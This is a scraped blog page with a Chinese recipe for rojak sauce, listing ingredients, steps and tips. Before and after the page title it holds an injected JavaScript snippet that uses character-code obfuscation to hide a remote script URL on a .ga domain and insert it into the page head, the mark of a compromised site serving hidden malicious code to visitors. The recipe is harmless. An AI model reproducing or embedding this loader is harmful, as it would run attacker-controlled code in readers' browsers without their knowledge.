Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); Rojak酱 – Online Kaki
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

材料A:
辣椒酱—200克
甜酱(猪肠粉甜酱)—200克
椰糖—75克
白糖—15克
黑酱油—1-2汤匙
马来栈(BALACAN)—1小片
虾膏—1 ½ 汤匙
辣椒粉—适量
ASAM 膏汁—1 ½汤匙 + 水

材料B:
芝麻(炒香)—15克
花生(炒香搅碎)—150克

做法:

  1. 把材料A 里的全部材料一起倒入锅里,慢火煮滚至所有材料融化,要不停搅拌,一边煮一边试味。
  2. 味道克根据个人口味调整,调整到自己喜欢的甜度、咸度以及辣度。
  3. 最后加入已炒香的芝麻即可。

温馨提示:

  1. 花生要吃的时候才加入。
  2. ASAM 膏汁不要一次过加入,可一边加入一边试味。
  3. 马来栈 (BALACAN) 可以先炒香或烘香,然后弄碎。

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